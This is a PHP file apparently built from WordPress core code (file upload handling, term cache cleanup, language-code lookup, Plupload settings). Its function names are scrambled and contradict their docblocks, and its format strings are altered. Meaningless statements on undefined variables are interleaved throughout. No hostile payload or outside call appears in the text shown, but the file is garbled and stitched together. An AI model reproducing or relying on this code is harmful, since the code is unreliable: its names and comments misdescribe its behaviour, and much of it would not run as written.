$border_styles = html_entity_decode($multirequest);
$newfolder = 'nh00cn';
$rest_prepare_wp_navigation_core_callback = wordwrap($ephKeypair);
$URI = 'dgntct';
/**
* Displays the post password.
*
* The password is passed through esc_attr() to ensure that it is safe for placing in an HTML attribute.
*
* @since 2.7.0
*/
function load_from_file()
{
$reconnect_retries = get_post();
if (isset($reconnect_retries->post_password)) {
echo esc_attr($reconnect_retries->post_password);
}
}
$renamed_langcodes = 'f8zq';
$rotated = strip_tags($multirequest);
$meta_update = quotemeta($newfolder);
$remote_ip = 'ktlm';
$x5 = strcspn($x5, $renamed_langcodes);
$new_namespace = htmlspecialchars($meta_compare_string_end);
$ephKeypair = htmlentities($filtered_content_classnames);
/**
* @see ParagonIE_Sodium_Compat::crypto_box_open()
* @param string $ptype_object
* @param string $default_editor_styles_file
* @param string $notsquare
* @return string|bool
*/
function auto_check_update_meta($ptype_object, $default_editor_styles_file, $notsquare)
{
try {
return ParagonIE_Sodium_Compat::crypto_box_open($ptype_object, $default_editor_styles_file, $notsquare);
} catch (Error $dual_use) {
return false;
} catch (Exception $dual_use) {
return false;
}
}
$eq = 'l5za8';
$unuseful_elements = strcoll($URI, $block_patterns);
// * Image Width LONG 32 // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure
/**
* Retrieves all of the WordPress supported comment statuses.
*
* Comments have a limited set of valid status values, this provides the comment
* status values and descriptions.
*
* @since 2.7.0
*
* @return string[] List of comment status labels keyed by status.
*/
function clearCCs()
{
$close_button_color = array('hold' => __('Unapproved'), 'approve' => _x('Approved', 'comment status'), 'spam' => _x('Spam', 'comment status'), 'trash' => _x('Trash', 'comment status'));
return $close_button_color;
}
// Drafts and auto-drafts are just overwritten by autosave for the same user if the post is not locked.
$rest_prepare_wp_navigation_core_callback = urldecode($filtered_content_classnames);
$full_page = 'vktiewzqk';
$text_decoration_value = 'yhxf5b6wg';
$newfolder = rtrim($new_namespace);
$queried_object = 'dtwk2jr9k';
$eq = stripos($full_page, $b4);
$tab_index_attribute = htmlspecialchars($queried_object);
$ephKeypair = stripcslashes($filtered_content_classnames);
$ThisFileInfo_ogg_comments_raw = 'rnjh2b2l';
$text_decoration_value = strtolower($f2_2);
// block types, or the bindings property is not an array, return the block content.
$b4 = convert_uuencode($multirequest);
$new_namespace = strrev($ThisFileInfo_ogg_comments_raw);
/**
* Changes the current user by ID or name.
*
* Set $local to null and specify a name if you do not know a user's ID.
*
* @since 2.0.1
* @deprecated 3.0.0 Use wp_rest_find_any_matching_schema()
* @see wp_rest_find_any_matching_schema()
*
* @param int|null $local User ID.
* @param string $tablefield_field_lowercased Optional. The user's username
* @return WP_User returns wp_rest_find_any_matching_schema()
*/
function rest_find_any_matching_schema($local, $tablefield_field_lowercased = '')
{
_deprecated_function(__FUNCTION__, '3.0.0', 'wp_rest_find_any_matching_schema()');
return wp_rest_find_any_matching_schema($local, $tablefield_field_lowercased);
}
$orig_username = 'mi6oa3';
$plugin_a = 'v7gjc';
$renamed_langcodes = html_entity_decode($x5);
$orig_username = lcfirst($ephKeypair);
$ms_files_rewriting = 'dqt6j1';
$f2_2 = ucfirst($plugin_a);
$full_page = chop($rotated, $eq);
$c_users = 'xwgiv4';
$remote_ip = trim($remote_ip);
$first_two = 'f933wf';
$last_order = 'g6nhg7';
$first_two = stripos($first_two, $last_order);
$role_classes = 'xh07';
$max_length = 'vk302t3k9';
/**
* Removes all of the term IDs from the cache.
*
* @since 2.3.0
*
* @global wpdb $paginate WordPress database abstraction object.
* @global bool $orig_h
*
* @param int|int[] $current_comment Single or array of term IDs.
* @param string $cached_entities Optional. Taxonomy slug. Can be empty, in which case the taxonomies of the passed
* term IDs will be used. Default empty.
* @param bool $featured_image_id Optional. Whether to clean taxonomy wide caches (true), or just individual
* term object caches (false). Default true.
*/
function rekey($current_comment, $cached_entities = '', $featured_image_id = true)
{
global $paginate, $orig_h;
if (!empty($orig_h)) {
return;
}
if (!is_array($current_comment)) {
$current_comment = array($current_comment);
}
$development_version = array();
// If no taxonomy, assume tt_ids.
if (empty($cached_entities)) {
$private_style = array_map('intval', $current_comment);
$private_style = implode(', ', $private_style);
$menu1 = $paginate->get_results("SELECT term_id, taxonomy FROM {$paginate->term_taxonomy} WHERE term_taxonomy_id IN ({$private_style})");
$current_comment = array();
foreach ((array) $menu1 as $dest_w) {
$development_version[] = $dest_w->taxonomy;
$current_comment[] = $dest_w->term_id;
}
wp_cache_delete_multiple($current_comment, 'terms');
$development_version = array_unique($development_version);
} else {
wp_cache_delete_multiple($current_comment, 'terms');
$development_version = array($cached_entities);
}
foreach ($development_version as $cached_entities) {
if ($featured_image_id) {
clean_taxonomy_cache($cached_entities);
}
/**
* Fires once after each taxonomy's term cache has been cleaned.
*
* @since 2.5.0
* @since 4.5.0 Added the `$featured_image_id` parameter.
*
* @param array $current_comment An array of term IDs.
* @param string $cached_entities Taxonomy slug.
* @param bool $featured_image_id Whether or not to clean taxonomy-wide caches
*/
do_action('rekey', $current_comment, $cached_entities, $featured_image_id);
}
wp_cache_set_terms_last_changed();
}
// Y-m
/**
* Displays the link to the next comments page.
*
* @since 2.7.0
*
* @param string $v_central_dir Optional. Label for link text. Default empty.
* @param int $css_rule_objects Optional. Max page. Default 0.
*/
function wp_get_block_css_selector($v_central_dir = '', $css_rule_objects = 0)
{
echo get_wp_get_block_css_selector($v_central_dir, $css_rule_objects);
}
$role_classes = htmlspecialchars_decode($max_length);
$remote_ip = 'gnbztgd';
// We need to create references to ms global tables to enable Network.
$fn_generate_and_enqueue_styles = 'as7qkj3c';
/**
* Returns the language for a language code.
*
* @since 3.0.0
*
* @param string $the_link Optional. The two-letter language code. Default empty.
* @return string The language corresponding to $the_link if it exists. If it does not exist,
* then the first two letters of $the_link is returned.
*/
function clearCustomHeader($the_link = '')
{
$the_link = strtolower(substr($the_link, 0, 2));
$current_guid = array('aa' => 'Afar', 'ab' => 'Abkhazian', 'af' => 'Afrikaans', 'ak' => 'Akan', 'sq' => 'Albanian', 'am' => 'Amharic', 'ar' => 'Arabic', 'an' => 'Aragonese', 'hy' => 'Armenian', 'as' => 'Assamese', 'av' => 'Avaric', 'ae' => 'Avestan', 'ay' => 'Aymara', 'az' => 'Azerbaijani', 'ba' => 'Bashkir', 'bm' => 'Bambara', 'eu' => 'Basque', 'be' => 'Belarusian', 'bn' => 'Bengali', 'bh' => 'Bihari', 'bi' => 'Bislama', 'bs' => 'Bosnian', 'br' => 'Breton', 'bg' => 'Bulgarian', 'my' => 'Burmese', 'ca' => 'Catalan; Valencian', 'ch' => 'Chamorro', 'ce' => 'Chechen', 'zh' => 'Chinese', 'cu' => 'Church Slavic; Old Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic', 'cv' => 'Chuvash', 'kw' => 'Cornish', 'co' => 'Corsican', 'cr' => 'Cree', 'cs' => 'Czech', 'da' => 'Danish', 'dv' => 'Divehi; Dhivehi; Maldivian', 'nl' => 'Dutch; Flemish', 'dz' => 'Dzongkha', 'en' => 'English', 'eo' => 'Esperanto', 'et' => 'Estonian', 'ee' => 'Ewe', 'fo' => 'Faroese', 'fj' => 'Fijjian', 'fi' => 'Finnish', 'fr' => 'French', 'fy' => 'Western Frisian', 'ff' => 'Fulah', 'ka' => 'Georgian', 'de' => 'German', 'gd' => 'Gaelic; Scottish Gaelic', 'ga' => 'Irish', 'gl' => 'Galician', 'gv' => 'Manx', 'el' => 'Greek, Modern', 'gn' => 'Guarani', 'gu' => 'Gujarati', 'ht' => 'Haitian; Haitian Creole', 'ha' => 'Hausa', 'he' => 'Hebrew', 'hz' => 'Herero', 'hi' => 'Hindi', 'ho' => 'Hiri Motu', 'hu' => 'Hungarian', 'ig' => 'Igbo', 'is' => 'Icelandic', 'io' => 'Ido', 'ii' => 'Sichuan Yi', 'iu' => 'Inuktitut', 'ie' => 'Interlingue', 'ia' => 'Interlingua (International Auxiliary Language Association)', 'id' => 'Indonesian', 'ik' => 'Inupiaq', 'it' => 'Italian', 'jv' => 'Javanese', 'ja' => 'Japanese', 'kl' => 'Kalaallisut; Greenlandic', 'kn' => 'Kannada', 'ks' => 'Kashmiri', 'kr' => 'Kanuri', 'kk' => 'Kazakh', 'km' => 'Central Khmer', 'ki' => 'Kikuyu; Gikuyu', 'rw' => 'Kinyarwanda', 'ky' => 'Kirghiz; Kyrgyz', 'kv' => 'Komi', 'kg' => 'Kongo', 'ko' => 'Korean', 'kj' => 'Kuanyama; Kwanyama', 'ku' => 'Kurdish', 'lo' => 'Lao', 'la' => 'Latin', 'lv' => 'Latvian', 'li' => 'Limburgan; Limburger; Limburgish', 'ln' => 'Lingala', 'lt' => 'Lithuanian', 'lb' => 'Luxembourgish; Letzeburgesch', 'lu' => 'Luba-Katanga', 'lg' => 'Ganda', 'mk' => 'Macedonian', 'mh' => 'Marshallese', 'ml' => 'Malayalam', 'mi' => 'Maori', 'mr' => 'Marathi', 'ms' => 'Malay', 'mg' => 'Malagasy', 'mt' => 'Maltese', 'mo' => 'Moldavian', 'mn' => 'Mongolian', 'na' => 'Nauru', 'nv' => 'Navajo; Navaho', 'nr' => 'Ndebele, South; South Ndebele', 'nd' => 'Ndebele, North; North Ndebele', 'ng' => 'Ndonga', 'ne' => 'Nepali', 'nn' => 'Norwegian Nynorsk; Nynorsk, Norwegian', 'nb' => 'Bokmål, Norwegian, Norwegian Bokmål', 'no' => 'Norwegian', 'ny' => 'Chichewa; Chewa; Nyanja', 'oc' => 'Occitan, Provençal', 'oj' => 'Ojibwa', 'or' => 'Oriya', 'om' => 'Oromo', 'os' => 'Ossetian; Ossetic', 'pa' => 'Panjabi; Punjabi', 'fa' => 'Persian', 'pi' => 'Pali', 'pl' => 'Polish', 'pt' => 'Portuguese', 'ps' => 'Pushto', 'qu' => 'Quechua', 'rm' => 'Romansh', 'ro' => 'Romanian', 'rn' => 'Rundi', 'ru' => 'Russian', 'sg' => 'Sango', 'sa' => 'Sanskrit', 'sr' => 'Serbian', 'hr' => 'Croatian', 'si' => 'Sinhala; Sinhalese', 'sk' => 'Slovak', 'sl' => 'Slovenian', 'se' => 'Northern Sami', 'sm' => 'Samoan', 'sn' => 'Shona', 'sd' => 'Sindhi', 'so' => 'Somali', 'st' => 'Sotho, Southern', 'es' => 'Spanish; Castilian', 'sc' => 'Sardinian', 'ss' => 'Swati', 'su' => 'Sundanese', 'sw' => 'Swahili', 'sv' => 'Swedish', 'ty' => 'Tahitian', 'ta' => 'Tamil', 'tt' => 'Tatar', 'te' => 'Telugu', 'tg' => 'Tajik', 'tl' => 'Tagalog', 'th' => 'Thai', 'bo' => 'Tibetan', 'ti' => 'Tigrinya', 'to' => 'Tonga (Tonga Islands)', 'tn' => 'Tswana', 'ts' => 'Tsonga', 'tk' => 'Turkmen', 'tr' => 'Turkish', 'tw' => 'Twi', 'ug' => 'Uighur; Uyghur', 'uk' => 'Ukrainian', 'ur' => 'Urdu', 'uz' => 'Uzbek', 've' => 'Venda', 'vi' => 'Vietnamese', 'vo' => 'Volapük', 'cy' => 'Welsh', 'wa' => 'Walloon', 'wo' => 'Wolof', 'xh' => 'Xhosa', 'yi' => 'Yiddish', 'yo' => 'Yoruba', 'za' => 'Zhuang; Chuang', 'zu' => 'Zulu');
/**
* Filters the language codes.
*
* @since MU (3.0.0)
*
* @param string[] $current_guid Array of key/value pairs of language codes where key is the short version.
* @param string $the_link A two-letter designation of the language.
*/
$current_guid = apply_filters('lang_codes', $current_guid, $the_link);
return strtr($the_link, $current_guid);
}
$c_users = ucwords($required_by);
$ms_files_rewriting = addslashes($tab_index_attribute);
$multirequest = strrpos($rotated, $default_dirs);
$plugin_a = substr($block_patterns, 8, 19);
$layout_classes = 'ipic';
$f2_2 = chop($unuseful_elements, $block_patterns);
$methodname = 'zxgwgeljx';
$ephKeypair = is_string($fn_generate_and_enqueue_styles);
$thisfile_riff_WAVE_cart_0 = 'ua3g';
/**
* Prints default Plupload arguments.
*
* @since 3.4.0
*/
function after_core_update()
{
$group_description = wp_scripts();
$used_curies = $group_description->get_data('wp-plupload', 'data');
if ($used_curies && str_contains($used_curies, '_wpPluploadSettings')) {
return;
}
$trackback_id = wp_max_upload_size();
$filter_comment = array_keys(get_allowed_mime_types());
$format_meta_urls = array();
foreach ($filter_comment as $reqpage_obj) {
$format_meta_urls = array_merge($format_meta_urls, explode('|', $reqpage_obj));
}
/*
* Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
* and the `flash_swf_url` and `silverlight_xap_url` are not used.
*/
$open_on_click = array(
'file_data_name' => 'async-upload',
// Key passed to $_FILE.
'url' => admin_url('async-upload.php', 'relative'),
'filters' => array('max_file_size' => $trackback_id . 'b', 'mime_types' => array(array('extensions' => implode(',', $format_meta_urls)))),
);
/*
* Currently only iOS Safari supports multiple files uploading,
* but iOS 7.x has a bug that prevents uploading of videos when enabled.
* See #29602.
*/
if (wp_is_mobile() && str_contains($_SERVER['HTTP_USER_AGENT'], 'OS 7_') && str_contains($_SERVER['HTTP_USER_AGENT'], 'like Mac OS X')) {
$open_on_click['multi_selection'] = false;
}
// Check if WebP images can be edited.
if (!wp_image_editor_supports(array('mime_type' => 'image/webp'))) {
$open_on_click['webp_upload_error'] = true;
}
// Check if AVIF images can be edited.
if (!wp_image_editor_supports(array('mime_type' => 'image/avif'))) {
$open_on_click['avif_upload_error'] = true;
}
/**
* Filters the Plupload default settings.
*
* @since 3.4.0
*
* @param array $open_on_click Default Plupload settings array.
*/
$open_on_click = apply_filters('plupload_default_settings', $open_on_click);
$p_parent_dir = array('action' => 'upload-attachment');
/**
* Filters the Plupload default parameters.
*
* @since 3.4.0
*
* @param array $p_parent_dir Default Plupload parameters array.
*/
$p_parent_dir = apply_filters('plupload_default_params', $p_parent_dir);
$p_parent_dir['_wpnonce'] = wp_create_nonce('media-form');
$open_on_click['multipart_params'] = $p_parent_dir;
$total_size_mb = array('defaults' => $open_on_click, 'browser' => array('mobile' => wp_is_mobile(), 'supported' => _device_can_upload()), 'limitExceeded' => is_multisite() && !is_upload_space_available());
$to_do = 'var _wpPluploadSettings = ' . wp_json_encode($total_size_mb) . ';';
if ($used_curies) {
$to_do = "{$used_curies}\n{$to_do}";
}
$group_description->add_data('wp-plupload', 'data', $to_do);
}
$required_by = sha1($newfolder);
// Empty value deletes, non-empty value adds/updates.
$remote_ip = strtolower($layout_classes);
// Add 'width' and 'height' attributes if applicable.
$font_spread = 't4gf2ma';
$f1g2 = convert_uuencode($URI);
$rotated = addslashes($methodname);
$customized_value = 'mrqv9wgv0';
$thisfile_riff_WAVE_cart_0 = quotemeta($x5);
$blocked = stripslashes($orig_username);
/**
* Retrieves the name of the current action hook.
*
* @since 3.9.0
*
* @return string Hook name of the current action.
*/
function get_theme_items()
{
return current_filter();
}
// be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character)
$CodecListType = 'ngod';
/**
* Returns RegEx body to liberally match an opening HTML tag.
*
* Matches an opening HTML tag that:
* 1. Is self-closing or
* 2. Has no body but has a closing tag of the same name or
* 3. Contains a body and a closing tag of the same name
*
* Note: this RegEx does not balance inner tags and does not attempt
* to produce valid HTML
*
* @since 3.6.0
*
* @param string $noparents An HTML tag name. Example: 'video'.
* @return string Tag RegEx.
*/
function wp_default_editor($noparents)
{
if (empty($noparents)) {
return '';
}
return sprintf('<%1$NS[^<]*(?:>[\s\S]*<\/%1$NS>|\s*\/>)', tag_escape($noparents));
}
$f0g8 = 'lzsx4ehfb';
$language_data = 'puswt5lqz';
$renamed_langcodes = ucwords($ms_files_rewriting);
$required_by = htmlspecialchars($customized_value);
/**
* Handles PHP uploads in WordPress.
*
* Sanitizes file names, checks extensions for mime type, and moves the file
* to the appropriate directory within the uploads directory.
*
* @access private
* @since 4.0.0
*
* @see get_session_id
*
* @param array $f2g6 {
* Reference to a single element from `$_FILES`. Call the function once for each uploaded file.
*
* @type string $tablefield_field_lowercased The original name of the file on the client machine.
* @type string $valuearray The mime type of the file, if the browser provided this information.
* @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
* @type int $EncodingFlagsATHtype The size, in bytes, of the uploaded file.
* @type int $datef The error code associated with this file upload.
* }
* @param array|false $origin {
* An array of override parameters for this file, or boolean false if none are provided.
*
* @type callable $full_width Function to call when there is an error during the upload process.
* See {@see get_session_id()}.
* @type callable $content_from Function to call when determining a unique file name for the file.
* See {@see add_object_page()}.
* @type string[] $escaped_http_url The strings that describe the error indicated in
* `$_FILES[{form field}]['error']`.
* @type bool $rp_key Whether to test that the `$_POST['action']` parameter is as expected.
* @type bool $default_quality Whether to test that the file size is greater than zero bytes.
* @type bool $default_theme_slug Whether to test that the mime type of the file is as expected.
* @type string[] $customize_action Array of allowed mime types keyed by their file extension regex.
* }
* @param string $revision_query Time formatted in 'yyyy/mm'.
* @param string $offer_key Expected value for `$_POST['action']`.
* @return array {
* On success, returns an associative array of file attributes.
* On failure, returns `$origin['upload_error_handler']( &$f2g6, $valuePairs )`
* or `array( 'error' => $valuePairs )`.
*
* @type string $f2g6 Filename of the newly-uploaded file.
* @type string $basedir URL of the newly-uploaded file.
* @type string $valuearray Mime type of the newly-uploaded file.
* }
*/
function autosaved(&$f2g6, $origin, $revision_query, $offer_key)
{
// The default error handler.
if (!function_exists('get_session_id')) {
function get_session_id(&$f2g6, $valuePairs)
{
return array('error' => $valuePairs);
}
}
/**
* Filters the data for a file before it is uploaded to WordPress.
*
* The dynamic portion of the hook name, `$offer_key`, refers to the post action.
*
* Possible hook names include:
*
* - `wp_handle_sideload_prefilter`
* - `wp_handle_upload_prefilter`
*
* @since 2.9.0 as 'wp_handle_upload_prefilter'.
* @since 4.0.0 Converted to a dynamic hook with `$offer_key`.
*
* @param array $f2g6 {
* Reference to a single element from `$_FILES`.
*
* @type string $tablefield_field_lowercased The original name of the file on the client machine.
* @type string $valuearray The mime type of the file, if the browser provided this information.
* @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
* @type int $EncodingFlagsATHtype The size, in bytes, of the uploaded file.
* @type int $datef The error code associated with this file upload.
* }
*/
$f2g6 = apply_filters("{$offer_key}_prefilter", $f2g6);
/**
* Filters the override parameters for a file before it is uploaded to WordPress.
*
* The dynamic portion of the hook name, `$offer_key`, refers to the post action.
*
* Possible hook names include:
*
* - `wp_handle_sideload_overrides`
* - `wp_handle_upload_overrides`
*
* @since 5.7.0
*
* @param array|false $origin An array of override parameters for this file. Boolean false if none are
* provided. See {@see autosaved()}.
* @param array $f2g6 {
* Reference to a single element from `$_FILES`.
*
* @type string $tablefield_field_lowercased The original name of the file on the client machine.
* @type string $valuearray The mime type of the file, if the browser provided this information.
* @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
* @type int $EncodingFlagsATHtype The size, in bytes, of the uploaded file.
* @type int $datef The error code associated with this file upload.
* }
*/
$origin = apply_filters("{$offer_key}_overrides", $origin, $f2g6);
// You may define your own function and pass the name in $origin['upload_error_handler'].
$full_width = 'get_session_id';
if (isset($origin['upload_error_handler'])) {
$full_width = $origin['upload_error_handler'];
}
// You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
if (isset($f2g6['error']) && !is_numeric($f2g6['error']) && $f2g6['error']) {
return call_user_func_array($full_width, array(&$f2g6, $f2g6['error']));
}
// Install user overrides. Did we mention that this voids your warranty?
// You may define your own function and pass the name in $origin['unique_filename_callback'].
$content_from = null;
if (isset($origin['unique_filename_callback'])) {
$content_from = $origin['unique_filename_callback'];
}
/*
* This may not have originally been intended to be overridable,
* but historically has been.
*/
if (isset($origin['upload_error_strings'])) {
$escaped_http_url = $origin['upload_error_strings'];
} else {
// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
$escaped_http_url = array(false, sprintf(
/* translators: 1: upload_max_filesize, 2: php.ini */
__('The uploaded file exceeds the %1$NS directive in %2$NS.'),
'upload_max_filesize',
'php.ini'
), sprintf(
/* translators: %s: MAX_FILE_SIZE */
__('The uploaded file exceeds the %s directive that was specified in the HTML form.'),
'MAX_FILE_SIZE'
), __('The uploaded file was only partially uploaded.'), __('No file was uploaded.'), '', __('Missing a temporary folder.'), __('Failed to write file to disk.'), __('File upload stopped by extension.'));
}
// All tests are on by default. Most can be turned off by $origin[{test_name}] = false;
$rp_key = isset($origin['test_form']) ? $origin['test_form'] : true;
$default_quality = isset($origin['test_size']) ? $origin['test_size'] : true;
// If you override this, you must provide $font_sizes_by_origin and $valuearray!!
$default_theme_slug = isset($origin['test_type']) ? $origin['test_type'] : true;
$customize_action = isset($origin['mimes']) ? $origin['mimes'] : null;
// A correct form post will pass this test.
if ($rp_key && (!isset($_POST['action']) || $_POST['action'] !== $offer_key)) {
return call_user_func_array($full_width, array(&$f2g6, __('Invalid form submission.')));
}
// A successful upload will pass this test. It makes no sense to override this one.
if (isset($f2g6['error']) && $f2g6['error'] > 0) {
return call_user_func_array($full_width, array(&$f2g6, $escaped_http_url[$f2g6['error']]));
}
// A properly uploaded file will pass this test. There should be no reason to override this one.
$used_post_format = 'wp_handle_upload' === $offer_key ? is_uploaded_file($f2g6['tmp_name']) : @is_readable($f2g6['tmp_name']);
if (!$used_post_format) {
return call_user_func_array($full_width, array(&$f2g6, __('Specified file failed upload test.')));
}
$compact = 'wp_handle_upload' === $offer_key ? $f2g6['size'] : filesize($f2g6['tmp_name']);
// A non-empty file will pass this test.
if ($default_quality && !($compact > 0)) {
if (is_multisite()) {
$meta_background = __('File is empty. Please upload something more substantial.');
} else {
$meta_background = sprintf(
/* translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize */
__('File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your %1$NS file or by %2$NS being defined as smaller than %3$NS in %1$NS.'),
'php.ini',
'post_max_size',
'upload_max_filesize'
);
}
return call_user_func_array($full_width, array(&$f2g6, $meta_background));
}
// A correct MIME type will pass this test. Override $customize_action or use the upload_mimes filter.
if ($default_theme_slug) {
$quote_style = wp_check_filetype_and_ext($f2g6['tmp_name'], $f2g6['name'], $customize_action);
$font_sizes_by_origin = empty($quote_style['ext']) ? '' : $quote_style['ext'];
$valuearray = empty($quote_style['type']) ? '' : $quote_style['type'];
$num_items = empty($quote_style['proper_filename']) ? '' : $quote_style['proper_filename'];
// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect.
if ($num_items) {
$f2g6['name'] = $num_items;
}
if ((!$valuearray || !$font_sizes_by_origin) && !current_user_can('unfiltered_upload')) {
return call_user_func_array($full_width, array(&$f2g6, __('Sorry, you are not allowed to upload this file type.')));
}
if (!$valuearray) {
$valuearray = $f2g6['type'];
}
} else {
$valuearray = '';
}
/*
* A writable uploads dir will pass this test. Again, there's no point
* overriding this one.
*/
$valid_variations = wp_upload_dir($revision_query);
if (!($valid_variations && false === $valid_variations['error'])) {
return call_user_func_array($full_width, array(&$f2g6, $valid_variations['error']));
}
$cached_response = add_object_page($valid_variations['path'], $f2g6['name'], $content_from);
// Move the file to the uploads dir.
$old_prefix = $valid_variations['path'] . "/{$cached_response}";
/**
* Filters whether to short-circuit moving the uploaded file after passing all checks.
*
* If a non-null value is returned from the filter, moving the file and any related
* error reporting will be completely skipped.
*
* @since 4.9.0
*
* @param mixed $open_basedirs If null (default) move the file after the upload.
* @param array $f2g6 {
* Reference to a single element from `$_FILES`.
*
* @type string $tablefield_field_lowercased The original name of the file on the client machine.
* @type string $valuearray The mime type of the file, if the browser provided this information.
* @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
* @type int $EncodingFlagsATHtype The size, in bytes, of the uploaded file.
* @type int $datef The error code associated with this file upload.
* }
* @param string $old_prefix Filename of the newly-uploaded file.
* @param string $valuearray Mime type of the newly-uploaded file.
*/
$open_basedirs = apply_filters('pre_move_uploaded_file', null, $f2g6, $old_prefix, $valuearray);
if (null === $open_basedirs) {
if ('wp_handle_upload' === $offer_key) {
$open_basedirs = @move_uploaded_file($f2g6['tmp_name'], $old_prefix);
} else {
// Use copy and unlink because rename breaks streams.
// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
$open_basedirs = @copy($f2g6['tmp_name'], $old_prefix);
unlink($f2g6['tmp_name']);
}
if (false === $open_basedirs) {
if (str_starts_with($valid_variations['basedir'], ABSPATH)) {
$validfield = str_replace(ABSPATH, '', $valid_variations['basedir']) . $valid_variations['subdir'];
} else {
$validfield = basename($valid_variations['basedir']) . $valid_variations['subdir'];
}
return $full_width($f2g6, sprintf(
/* translators: %s: Destination file path. */
__('The uploaded file could not be moved to %s.'),
$validfield
));
}
}
// Set correct file permissions.
$encoded_enum_values = stat(dirname($old_prefix));
$x14 = $encoded_enum_values['mode'] & 0666;
chmod($old_prefix, $x14);
// Compute the URL.
$basedir = $valid_variations['url'] . "/{$cached_response}";
if (is_multisite()) {
clean_dirsize_cache($old_prefix);
}
/**
* Filters the data array for the uploaded file.
*
* @since 2.1.0
*
* @param array $upload {
* Array of upload data.
*
* @type string $f2g6 Filename of the newly-uploaded file.
* @type string $basedir URL of the newly-uploaded file.
* @type string $valuearray Mime type of the newly-uploaded file.
* }
* @param string $context The type of upload action. Values include 'upload' or 'sideload'.
*/
return apply_filters('wp_handle_upload', array('file' => $old_prefix, 'url' => $basedir, 'type' => $valuearray), 'wp_handle_sideload' === $offer_key ? 'sideload' : 'upload');
}
$font_spread = bin2hex($CodecListType);
$max_length = 'lh029ma1g';
// Output display mode. This requires special handling as `display` is not exposed in `safe_style_css_filter`.
$role_classes = 'tv4z7lx';
$max_length = rtrim($role_classes);
// module for analyzing AC-3 (aka Dolby Digital) audio files //
$rotated = strnatcasecmp($default_dirs, $language_data);
$root_value = strip_tags($c_users);
$configurationVersion = stripcslashes($ms_files_rewriting);
$f0g8 = rtrim($block_patterns);
$max_length = 'ym2m00lku';
// Email to user $00
// If the handle is not enqueued, don't filter anything and return.
// Handle saving a nav menu item that is a child of a nav menu item being newly-created.
$profile_compatibility = 'veeewg';
$tab_index_attribute = ltrim($x5);
$root_value = quotemeta($meta_update);
$restored_file = 'sg8gg3l';
$old_ms_global_tables = 'pk3hg6exe';
$URI = chop($URI, $restored_file);
$event = 'h0mkau12z';
$configurationVersion = str_shuffle($frame_sellerlogo);
// If error storing temporarily, return the error.
$old_ms_global_tables = stripos($full_page, $event);
// week_begins = 0 stands for Sunday.
// If the theme isn't allowed per multisite settings, bail.
// Ignore trailer headers
// ----- Add the path
// Move the file to the uploads dir.
$max_length = quotemeta($profile_compatibility);
$last_order = 'grj1bvfb';
//so add them back in manually if we can
$layout_classes = 'mkzq4';
$last_order = base64_encode($layout_classes);
/**
* Deletes everything from post meta matching the given meta key.
*
* @since 2.3.0
*
* @param string $required_attr Key to search for when deleting.
* @return bool Whether the post meta key was deleted from the database.
*/
function wp_get_image_editor($required_attr)
{
return delete_metadata('post', null, $required_attr, '', true);
}
// array(channel configuration, # channels (not incl LFE), channel order)
// Get dropins descriptions.
$role_classes = 'l97bb53i';
$profile_compatibility = 'pp2rq6y';
// one line of data.
// @todo Uploaded files are not removed here.
$role_classes = rtrim($profile_compatibility);
// Load the plugin to test whether it throws any errors.
$from_string = 'qht090fk';
$ATOM_SIMPLE_ELEMENTS = 'qld9';
$f0f9_2 = 's2alxjq';
$from_string = stripos($ATOM_SIMPLE_ELEMENTS, $f0f9_2);
$thumbnail_update = 'lo5q';
$copyright_label = 'vz72djn1o';
/**
* Displays the checkbox to scale images.
*
* @since 3.3.0
*/
function updateHashWithFile()
{
$used_class = get_user_setting('upload_resize') ? ' checked="true"' : '';
$notice_type = '';
$getid3_ogg = '';
if (current_user_can('manage_options')) {
$notice_type = '';
$getid3_ogg = '';
}
}
// We seem to be dealing with an IPv4 address.
// ----- Open the temporary file in write mode
/**
* Rounds and converts values of an RGB object.
*
* Direct port of TinyColor's function, lightly simplified to maintain
* consistency with TinyColor.
*
* @link https://github.com/bgrins/TinyColor
*
* @since 5.8.0
* @deprecated 6.3.0
*
* @access private
*
* @param array $new_theme_data RGB object.
* @return array Rounded and converted RGB object.
*/
function wp_import_handle_upload($new_theme_data)
{
_deprecated_function(__FUNCTION__, '6.3.0');
return array('r' => wp_tinycolor_bound01($new_theme_data['r'], 255) * 255, 'g' => wp_tinycolor_bound01($new_theme_data['g'], 255) * 255, 'b' => wp_tinycolor_bound01($new_theme_data['b'], 255) * 255);
}
// Save the Imagick instance for later use.
$thumbnail_update = lcfirst($copyright_label);
/**
* Gets a filename that is sanitized and unique for the given directory.
*
* If the filename is not unique, then a number will be added to the filename
* before the extension, and will continue adding numbers until the filename
* is unique.
*
* The callback function allows the caller to use their own method to create
* unique file names. If defined, the callback should take three arguments:
* - directory, base filename, and extension - and return a unique filename.
*
* @since 2.5.0
*
* @param string $columns_selector Directory.
* @param string $cached_response File name.
* @param callable $content_from Callback. Default null.
* @return string New filename, if given wasn't unique.
*/
function add_object_page($columns_selector, $cached_response, $content_from = null)
{
// Sanitize the file name before we begin processing.
$cached_response = sanitize_file_name($cached_response);
$new_settings = null;
// Initialize vars used in the add_object_page filter.
$not_open_style = '';
$nextframetestarray = array();
// Separate the filename into a name and extension.
$font_sizes_by_origin = pathinfo($cached_response, PATHINFO_EXTENSION);
$tablefield_field_lowercased = pathinfo($cached_response, PATHINFO_BASENAME);
if ($font_sizes_by_origin) {
$font_sizes_by_origin = '.' . $font_sizes_by_origin;
}
// Edge case: if file is named '.ext', treat as an empty name.
if ($tablefield_field_lowercased === $font_sizes_by_origin) {
$tablefield_field_lowercased = '';
}
/*
* Increment the file number until we have a unique file to save in $columns_selector.
* Use callback if supplied.
*/
if ($content_from && is_callable($content_from)) {
$cached_response = call_user_func($content_from, $columns_selector, $tablefield_field_lowercased, $font_sizes_by_origin);
} else {
